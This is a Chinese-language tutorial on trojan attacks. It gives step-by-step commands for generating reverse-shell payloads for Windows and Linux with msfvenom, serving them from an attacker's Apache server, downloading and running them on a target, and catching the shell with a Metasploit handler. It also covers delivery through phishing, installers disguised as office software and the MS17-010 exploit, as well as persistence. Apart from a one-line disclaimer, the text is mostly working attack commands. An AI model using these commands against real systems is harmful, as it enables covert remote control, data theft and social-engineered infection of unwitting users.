木马攻击

0 阅读4分钟

⚠️ 本文仅用于授权学习与安全测试,严禁对未授权服务器进行攻击操作,遵守网络安全法律法规。

一、木马核心概念

  • 定义:伪装成合法软件、隐蔽运行在目标设备中,用于长期控制或窃取数据的恶意程序。
  • 关键区别:与向日葵等远程工具相比,具备“伪装性”和“隐蔽性”,用户不知情。
  • 危害:设备成为“肉鸡”(被黑客通过木马等恶意程序秘密控制的设备),攻击者可随时执行命令。

二、Linux:木马攻击

(一) 制作木马(MSF 工具):

Kali 自带 MSF 框架,生成命令:msfvenom -p linux/x64/shell/reverse_tcp LHOST=攻击机ip(Kali) LPORT=9999 -f elf -o hello.elf

(二) 启动控制程序

msfconsole                  # 打开MSF控制台
use exploit/multi/handler   # 加载监听模块
set payload linux/x64/shell/reverse_tcp  # 匹配木马的payload
set lhost 攻击机ip(Kali)    # 监听本机IP
set lport 9999              # 监听本机9999端口
run                         # 启动监听,等待靶机连接

(三) 植入与启动木马

  1. Kali 开启 Apache 服务供Ubuntu下载:

    a. 把木马放到Apache根目录 mv hello.elf /var/www/html

    b. 启动Apache服务 service apache2 start

  2. 利用SSH控制Ubuntu 下载木马:wget http://攻击者ip(Kali)/hello.elf -O hello.elf

  3. 解决权限问题:chmod +x hello.elf(添加执行权限)。

  4. 启动木马:./hello.elf。 成功标志:Kali 的 MSF 控制台会弹出 Ubuntu 的 shell,此时就能远程控制靶机

  5. 核心需求:实现木马“自动复活”,避免意外退出/服务器重启后失去控制。

三、Windows:木马攻击

(一) 制作木马病毒(Kali + Metasploit)

(1) 生成 Windows 木马程序
msfconsole # 启动 Metasploit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.129(攻击机的IP)  LPORT=9999(端口、随便、不能是常用端口) -f exe(Windows的可执行程序、依据木马投放系统而定) > shell.exe
  • -p:指定 payload(攻击载荷)
  • LHOST:攻击机 IP(Kali 本机 IP)
  • LPORT:攻击机监听端口(自定义,如 9999)
  • -f exe:生成 EXE 格式文件
  • > shell.exe:将木马保存为 shell.exe

木马在攻击者电脑上

(2) 搭建文件服务器(供目标机下载木马)
sudo su
mv shell.exe /var/www/html # 将木马复制到 Apache 网站根目录
service apache2 start # 启动 Apache 服务

(3) 攻击机开启监听(等待目标机连接)
msfconsole # 若已启动可跳过
use exploit/multi/handler # 加载监听模块
set payload windows/meterpreter/reverse_tcp # 与木马 payload 一致
set lhost 0.0.0.0 # 监听所有网卡
set lport 9999 # 与木马 LPORT 一致
run # 启动监听

木马只是下载了,还没有运行。

双击文件运行


拿到会话。

(二) 木马植入与控制

(1) 植入方式
  • 社会工程学:通过邮件附件、聊天工具发送木马下载链接(http://攻击机IP/shell.exe)
  • 内网渗透:利用已控制的设备,将木马复制到目标机共享文件夹
  • 漏洞利用:通过前文提到的 MS17-010 等漏洞,将木马上传到目标机。
(2) 启动木马
  • 目标机用户双击下载的 shell.exe(需诱导用户执行,如伪装为"办公软件安装包")。
(3) 控制目标机
  • 当目标机执行木马后,攻击机Metasploit 会显示Meterpreter session 1 opened,表示连接成功。
  • 可执行ps(查看进程)、screenshot(截屏)、shell(获取 CMD)等 Meterpreter 操作。

四、木马攻击:Windows vs Linux(Ubuntu)

(一) 核心结论

原理完全一样,只有系统细节不一样。
都是:反向木马 → 监听 → 运行 → 拿 Shell → 持久化

(二) 详细对比表

项目Windows 木马Linux(Ubuntu) 木马
远程控制方式RDP(3389)SSH(22)
木马后缀.exe.elf
生成工具msfvenommsfvenom
Payloadwindows/x64/shell/reverse_tcplinux/x64/shell/reverse_tcp
监听模块exploit/multi/handler一样
如何运行双击 exechmod +x 再 ./运行
控制内容Windows 命令Linux 命令
持久化(自启)注册表、计划任务crontab、systemd 服务
传播方式钓鱼、捆绑软件、漏洞漏洞、SSH 弱口令、上传

(三) 生成木马命令

1. Windows

msfvenom -p windows/x64/shell/reverse_tcp LHOST=攻击机IP LPORT=9999 -f exe -o shell.exe

2. Linux

msfvenom -p linux/x64/shell/reverse_tcp LHOST=攻击机IP LPORT=9999 -f elf -o hello.elf

(四) 监听命令

use exploit/multi/handler
set payload 对应系统payload
set lhost 攻击机IP
set lport 9999
run

(五) 攻击流程

  1. 攻击机生成木马
  2. 攻击机开启监听
  3. 把木马传到靶机
  4. 靶机运行木马
  5. 攻击机拿到 Shell
  6. 做持久化(自动复活)

(六) 总结

  • Win 远程 RDP:3389,Linux 远程 SSH:22
  • 木马原理一样,后缀不同
  • Windows:exe,Linux:elf